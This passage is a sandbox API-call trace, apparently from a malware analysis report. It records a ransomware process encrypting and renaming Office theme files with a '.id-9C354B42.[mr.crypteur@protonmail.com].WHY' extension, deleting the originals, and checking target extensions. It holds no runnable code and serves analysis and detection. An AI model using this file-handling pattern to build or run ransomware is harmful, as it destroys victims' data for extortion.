Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0274.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0274.107] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0274.107] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0274.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0274.649] GetLastError () returned 0x0 [0274.649] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x3fde, lpOverlapped=0x0) returned 1 [0274.877] WriteFile (in: hFile=0x250, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x3fe0, lpOverlapped=0x0) returned 1 [0274.880] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0274.881] WriteFile (in: hFile=0x250, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0274.881] SetEndOfFile (hFile=0x250) returned 1 [0274.882] CloseHandle (hObject=0x250) returned 1 [0274.883] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0274.883] SetEndOfFile (hFile=0x3a8) returned 1 [0274.981] CloseHandle (hObject=0x3a8) returned 1 [0274.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1 [0274.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.983] lstrlenW (lpString=".doc") returned 4 [0274.983] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.983] lstrlenW (lpString=".docx") returned 5 [0274.983] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.983] lstrlenW (lpString=".pdf") returned 4 [0274.983] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.983] lstrlenW (lpString=".xls") returned 4 [0274.984] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.984] lstrlenW (lpString=".xlsx") returned 5 [0274.984] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.984] lstrlenW (lpString=".ppt") returned 4 [0274.984] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.984] lstrlenW (lpString=".zip") returned 4 [0274.984] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.984] lstrlenW (lpString=".rar") returned 4 [0274.984] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.984] lstrlenW (lpString=".bz2") returned 4 [0274.984] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.984] lstrlenW (lpString=".7z") returned 3 [0274.984] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.985] lstrlenW (lpString=".dbf") returned 4 [0274.985] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.985] lstrlenW (lpString=".1cd") returned 4 [0274.985] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.985] lstrlenW (lpString=".jpg") returned 4 [0274.985] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.985] lstrlenW (lpString=".doc") returned 4 [0274.986] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.986] lstrlenW (lpString=".docx") returned 5 [0274.986] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.986] lstrlenW (lpString=".pdf") returned 4 [0274.986] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.986] lstrlenW (lpString=".xls") returned 4 [0274.986] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.986] lstrlenW (lpString=".xlsx") returned 5 [0274.986] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.986] lstrlenW (lpString=".ppt") returned 4 [0274.986] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.986] lstrlenW (lpString=".zip") returned 4 [0274.986] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.987] lstrlenW (lpString=".rar") returned 4 [0274.987] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.987] lstrlenW (lpString=".bz2") returned 4 [0274.987] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.987] lstrlenW (lpString=".7z") returned 3 [0274.987] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.987] lstrlenW (lpString=".dbf") returned 4 [0274.987] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.987] lstrlenW (lpString=".1cd") returned 4 [0274.987] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0274.987] lstrlenW (lpString=".jpg") returned 4 [0274.987] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.988] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0274.988] lstrlenW (lpString="Median.eftx") returned 11 [0274.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0274.990] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=39546) returned 1 [0274.990] CloseHandle (hObject=0x3a8) returned 1 [0274.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0274.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0274.992] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0274.992] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0274.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0274.993] GetLastError () returned 0x0 [0274.993] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0275.021] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0275.026] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0275.026] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xea, lpOverlapped=0x0) returned 1 [0275.026] SetEndOfFile (hFile=0x3c8) returned 1 [0275.026] CloseHandle (hObject=0x3c8) returned 1 [0275.028] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0275.028] SetEndOfFile (hFile=0x3a8) returned 1 [0275.115] CloseHandle (hObject=0x3a8) returned 1 [0275.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0275.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0275.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.245] lstrlenW (lpString=".doc") returned 4 [0275.245] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.246] lstrlenW (lpString=".docx") returned 5 [0275.246] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.246] lstrlenW (lpString=".pdf") returned 4 [0275.246] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.246] lstrlenW (lpString=".xls") returned 4 [0275.246] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.246] lstrlenW (lpString=".xlsx") returned 5 [0275.246] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.246] lstrlenW (lpString=".ppt") returned 4 [0275.246] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.246] lstrlenW (lpString=".zip") returned 4 [0275.246] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.246] lstrlenW (lpString=".rar") returned 4 [0275.246] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.246] lstrlenW (lpString=".bz2") returned 4 [0275.246] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.247] lstrlenW (lpString=".7z") returned 3 [0275.247] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.247] lstrlenW (lpString=".dbf") returned 4 [0275.247] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.247] lstrlenW (lpString=".1cd") returned 4 [0275.247] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.247] lstrlenW (lpString=".jpg") returned 4 [0275.247] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.248] lstrlenW (lpString=".doc") returned 4 [0275.248] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.248] lstrlenW (lpString=".docx") returned 5 [0275.248] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.248] lstrlenW (lpString=".pdf") returned 4 [0275.248] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.248] lstrlenW (lpString=".xls") returned 4 [0275.248] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.248] lstrlenW (lpString=".xlsx") returned 5 [0275.248] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.248] lstrlenW (lpString=".ppt") returned 4 [0275.248] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.249] lstrlenW (lpString=".zip") returned 4 [0275.249] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.249] lstrlenW (lpString=".rar") returned 4 [0275.249] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.249] lstrlenW (lpString=".bz2") returned 4 [0275.249] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.249] lstrlenW (lpString=".7z") returned 3 [0275.249] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.249] lstrlenW (lpString=".dbf") returned 4 [0275.249] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.249] lstrlenW (lpString=".1cd") returned 4 [0275.249] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0275.249] lstrlenW (lpString=".jpg") returned 4 [0275.250] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.250] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0275.250] lstrlenW (lpString="Metro.eftx") returned 10 [0275.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0275.253] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=24117) returned 1 [0275.253] CloseHandle (hObject=0x164) returned 1 [0275.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0275.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0275.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0275.254] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0275.254] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0275.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0275.256] GetLastError () returned 0x0 [0275.256] ReadFile (in: hFile=0x164, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x5e35, lpOverlapped=0x0) returned 1 [0275.328] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0275.335] ReadFile (in: hFile=0x164, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0275.335] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0275.335] SetEndOfFile (hFile=0x3c8) returned 1 [0275.335] CloseHandle (hObject=0x3c8) returned 1 [0275.342] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0275.342] SetEndOfFile (hFile=0x164) returned 1 [0275.382] CloseHandle (hObject=0x164) returned 1 [0275.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0275.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0275.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.604] lstrlenW (lpString=".doc") returned 4 [0275.604] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.604] lstrlenW (lpString=".docx") returned 5 [0275.604] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.604] lstrlenW (lpString=".pdf") returned 4 [0275.604] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.604] lstrlenW (lpString=".xls") returned 4 [0275.604] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.604] lstrlenW (lpString=".xlsx") returned 5 [0275.605] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.605] lstrlenW (lpString=".ppt") returned 4 [0275.605] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.605] lstrlenW (lpString=".zip") returned 4 [0275.605] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.605] lstrlenW (lpString=".rar") returned 4 [0275.605] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.605] lstrlenW (lpString=".bz2") returned 4 [0275.605] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.605] lstrlenW (lpString=".7z") returned 3 [0275.605] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.606] lstrlenW (lpString=".dbf") returned 4 [0275.606] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.606] lstrlenW (lpString=".1cd") returned 4 [0275.606] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.606] lstrlenW (lpString=".jpg") returned 4 [0275.606] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.606] lstrlenW (lpString=".doc") returned 4 [0275.606] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.606] lstrlenW (lpString=".docx") returned 5 [0275.607] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.607] lstrlenW (lpString=".pdf") returned 4 [0275.607] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.607] lstrlenW (lpString=".xls") returned 4 [0275.607] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.607] lstrlenW (lpString=".xlsx") returned 5 [0275.607] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.607] lstrlenW (lpString=".ppt") returned 4 [0275.607] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.607] lstrlenW (lpString=".zip") returned 4 [0275.608] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.608] lstrlenW (lpString=".rar") returned 4 [0275.608] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.608] lstrlenW (lpString=".bz2") returned 4 [0275.608] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.608] lstrlenW (lpString=".7z") returned 3 [0275.608] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.608] lstrlenW (lpString=".dbf") returned 4 [0275.608] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.608] lstrlenW (lpString=".1cd") returned 4 [0275.608] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0275.609] lstrlenW (lpString=".jpg") returned 4 [0275.609] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.609] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0275.609] lstrlenW (lpString="Newsprint.eftx") returned 14 [0275.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0275.620] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=582401) returned 1 [0275.620] CloseHandle (hObject=0x3a0) returned 1 [0275.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0275.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0275.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0275.630] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, 